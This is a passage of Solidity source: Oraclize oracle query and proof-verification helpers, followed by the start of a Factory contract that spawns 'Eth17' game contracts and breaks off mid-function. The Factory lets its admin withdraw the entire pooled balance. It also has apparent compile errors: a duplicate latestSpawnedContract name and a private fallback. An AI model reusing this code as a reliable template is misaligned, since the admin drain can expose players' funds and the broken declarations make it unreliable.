function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource);
}
function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource, gaslimit);
}
function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(0, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(timestamp, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(0, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_cbAddress() oraclizeAPI internal returns (address){
return oraclize.cbAddress();
}
function oraclize_setProof(byte proofP) oraclizeAPI internal {
return oraclize.setProofType(proofP);
}
function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal {
return oraclize.setCustomGasPrice(gasPrice);
}
function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){
return oraclize.randomDS_getSessionPubKeyHash();
}
function getCodeSize(address _addr) constant internal returns(uint _size) {
assembly {
_size := extcodesize(_addr)
}
}
function parseAddr(string _a) internal pure returns (address){
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i=2; i<2+2*20; i+=2){
iaddr *= 256;
b1 = uint160(tmp[i]);
b2 = uint160(tmp[i+1]);
if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87;
else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55;
else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48;
if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87;
else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55;
else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48;
iaddr += (b1*16+b2);
}
return address(iaddr);
}
function strCompare(string _a, string _b) internal pure returns (int) {
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
uint minLength = a.length;
if (b.length < minLength) minLength = b.length;
for (uint i = 0; i < minLength; i ++)
if (a[i] < b[i])
return -1;
else if (a[i] > b[i])
return 1;
if (a.length < b.length)
return -1;
else if (a.length > b.length)
return 1;
else
return 0;
}
function indexOf(string _haystack, string _needle) internal pure returns (int) {
bytes memory h = bytes(_haystack);
bytes memory n = bytes(_needle);
if(h.length < 1 || n.length < 1 || (n.length > h.length))
return -1;
else if(h.length > (2**128 -1))
return -1;
else
{
uint subindex = 0;
for (uint i = 0; i < h.length; i ++)
{
if (h[i] == n[0])
{
subindex = 1;
while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex])
{
subindex++;
}
if(subindex == n.length)
return int(i);
}
}
return -1;
}
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal pure returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal pure returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal pure returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal pure returns (string) {
return strConcat(_a, _b, "", "", "");
}
function parseInt(string _a) internal pure returns (uint) {
return parseInt(_a, 0);
}
function parseInt(string _a, uint _b) internal pure returns (uint) {
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i=0; i<bresult.length; i++){
if ((bresult[i] >= 48)&&(bresult[i] <= 57)){
if (decimals){
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) mint *= 10**_b;
return mint;
}
function uint2str(uint i) internal pure returns (string){
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
using CBOR for Buffer.buffer;
function stra2cbor(string[] arr) internal pure returns (bytes) {
safeMemoryCleaner();
Buffer.buffer memory buf;
Buffer.init(buf, 1024);
buf.startArray();
for (uint i = 0; i < arr.length; i++) {
buf.encodeString(arr[i]);
}
buf.endSequence();
return buf.buf;
}
function ba2cbor(bytes[] arr) internal pure returns (bytes) {
safeMemoryCleaner();
Buffer.buffer memory buf;
Buffer.init(buf, 1024);
buf.startArray();
for (uint i = 0; i < arr.length; i++) {
buf.encodeBytes(arr[i]);
}
buf.endSequence();
return buf.buf;
}
string oraclize_network_name;
function oraclize_setNetworkName(string _network_name) internal {
oraclize_network_name = _network_name;
}
function oraclize_getNetworkName() internal view returns (string) {
return oraclize_network_name;
}
function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){
require((_nbytes > 0) && (_nbytes <= 32));
_delay *= 10;
bytes memory nbytes = new bytes(1);
nbytes[0] = byte(_nbytes);
bytes memory unonce = new bytes(32);
bytes memory sessionKeyHash = new bytes(32);
bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash();
assembly {
mstore(unonce, 0x20)
mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp)))
mstore(sessionKeyHash, 0x20)
mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32)
}
bytes memory delay = new bytes(32);
assembly {
mstore(add(delay, 0x20), _delay)
}
bytes memory delay_bytes8 = new bytes(8);
copyBytes(delay, 24, 8, delay_bytes8, 0);
bytes[4] memory args = [unonce, nbytes, sessionKeyHash, delay];
bytes32 queryId = oraclize_query("random", args, _customGasLimit);
bytes memory delay_bytes8_left = new bytes(8);
assembly {
let x := mload(add(delay_bytes8, 0x20))
mstore8(add(delay_bytes8_left, 0x27), div(x, 0x100000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x26), div(x, 0x1000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x25), div(x, 0x10000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x24), div(x, 0x100000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x23), div(x, 0x1000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x22), div(x, 0x10000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x21), div(x, 0x100000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x20), div(x, 0x1000000000000000000000000000000000000000000000000))
}
oraclize_randomDS_setCommitment(queryId, keccak256(delay_bytes8_left, args[1], sha256(args[0]), args[2]));
return queryId;
}
function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal {
oraclize_randomDS_args[queryId] = commitment;
}
mapping(bytes32=>bytes32) oraclize_randomDS_args;
mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified;
function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){
bool sigok;
address signer;
bytes32 sigr;
bytes32 sigs;
bytes memory sigr_ = new bytes(32);
uint offset = 4+(uint(dersig[3]) - 0x20);
sigr_ = copyBytes(dersig, offset, 32, sigr_, 0);
bytes memory sigs_ = new bytes(32);
offset += 32 + 2;
sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0);
assembly {
sigr := mload(add(sigr_, 32))
sigs := mload(add(sigs_, 32))
}
(sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs);
if (address(keccak256(pubkey)) == signer) return true;
else {
(sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs);
return (address(keccak256(pubkey)) == signer);
}
}
function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) {
bool sigok;
bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2);
copyBytes(proof, sig2offset, sig2.length, sig2, 0);
bytes memory appkey1_pubkey = new bytes(64);
copyBytes(proof, 3+1, 64, appkey1_pubkey, 0);
bytes memory tosign2 = new bytes(1+65+32);
tosign2[0] = byte(1);
copyBytes(proof, sig2offset-65, 65, tosign2, 1);
bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c";
copyBytes(CODEHASH, 0, 32, tosign2, 1+65);
sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey);
if (sigok == false) return false;
bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4";
bytes memory tosign3 = new bytes(1+65);
tosign3[0] = 0xFE;
copyBytes(proof, 3, 65, tosign3, 1);
bytes memory sig3 = new bytes(uint(proof[3+65+1])+2);
copyBytes(proof, 3+65, sig3.length, sig3, 0);
sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY);
return sigok;
}
modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) {
require((_proof[0] == "L") && (_proof[1] == "P") && (_proof[2] == 1));
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
require(proofVerified);
_;
}
function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) return 2;
return 0;
}
function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal pure returns (bool){
bool match_ = true;
require(prefix.length == n_random_bytes);
for (uint256 i=0; i< n_random_bytes; i++) {
if (content[i] != prefix[i]) match_ = false;
}
return match_;
}
function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){
uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32;
bytes memory keyhash = new bytes(32);
copyBytes(proof, ledgerProofLength, 32, keyhash, 0);
if (!(keccak256(keyhash) == keccak256(sha256(context_name, queryId)))) return false;
bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2);
copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0);
if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false;
bytes memory commitmentSlice1 = new bytes(8+1+32);
copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0);
bytes memory sessionPubkey = new bytes(64);
uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65;
copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0);
bytes32 sessionPubkeyHash = sha256(sessionPubkey);
if (oraclize_randomDS_args[queryId] == keccak256(commitmentSlice1, sessionPubkeyHash)){
delete oraclize_randomDS_args[queryId];
} else return false;
bytes memory tosign1 = new bytes(32+8+1+32);
copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0);
if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false;
if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){
oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset);
}
return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash];
}
function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal pure returns (bytes) {
uint minLength = length + toOffset;
require(to.length >= minLength);
uint i = 32 + fromOffset;
uint j = 32 + toOffset;
while (i < (32 + fromOffset + length)) {
assembly {
let tmp := mload(add(from, i))
mstore(add(to, j), tmp)
}
i += 32;
j += 32;
}
return to;
}
function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) {
bool ret;
address addr;
assembly {
let size := mload(0x40)
mstore(size, hash)
mstore(add(size, 32), v)
mstore(add(size, 64), r)
mstore(add(size, 96), s)
ret := call(3000, 1, 0, size, 128, size, 32)
addr := mload(size)
}
return (ret, addr);
}
function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65)
return (false, 0);
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27)
v += 27;
if (v != 27 && v != 28)
return (false, 0);
return safer_ecrecover(hash, v, r, s);
}
function safeMemoryCleaner() internal pure {
assembly {
let fmem := mload(0x40)
codecopy(fmem, codesize, sub(msize, fmem))
}
}
}
contract Master {
function factoryContractAddress() public pure returns(address) {}
function transferEth() public pure {}
}
contract Factory {
using SafeMath for uint256;
address public admin;
address public thisContractAddress;
address[] public contracts;
address public latestSpawnedContract;
address public masterAddress;
address public devWallet;
Factory factory;
Master master;
modifier onlyAdmin {
require(msg.sender == admin
);
_;
}
modifier onlyContract {
require(msg.sender == thisContractAddress
);
_;
}
modifier adminOrSpawned {
require(
msg.sender == admin ||
msg.sender == latestSpawnedContract ||
msg.sender == thisContractAddress
);
_;
}
constructor() public payable {
admin = msg.sender;
thisContractAddress = address(this);
masterAddress = 0x2fd1C5Be712511454DbAE356c100f2004F243998;
devWallet = 0x77a0732111e426a68064d7f34B812a0E5D317d9c;
master = Master(masterAddress);
}
function () private payable {}
function setDevWalletAddress(address _address) onlyAdmin public {
devWallet = address(_address);
master = Master(masterAddress);
}
function thisContractBalance() public view returns(uint) {
return address(this).balance;
}
function withdrawAll() onlyAdmin public {
address(admin).transfer(address(this).balance);
}
function getContractCount() public view returns(uint contractCount) {
return contracts.length;
}
function latestSpawnedContract() public view returns(address) {
return address(contracts[contracts.length.sub(1)]);
}
function previousContract() public view returns(address) {
if(getContractCount() == 2) {
return address(contracts[0]);
}
else
return address(contracts[contracts.length.sub(2)]);
}
function firstSpawn() onlyAdmin public {
Eth17 eth17 = new Eth17();
contracts.push(eth17);
}
function newSpawn() public {
require (msg.sender == address(contracts[contracts.length.sub(1)]));
Eth17 eth17 = new Eth17();
contracts.push(eth17);
}
function transferEth() public {
require (msg.sender == address(contracts[contracts.length.sub(2)]));
require (address(this).balance >= 1 ether);
address(contracts[contracts.length.sub(1)]).transfer(address(this).balance);
if (address(this).balance == 0) {
master.transferEth();
}
}
function transferEthSeventeenGuesses() public {
require (msg.sender == address(contracts[contracts.length.sub(2)]));
require (address(this).balance >= 1 ether);
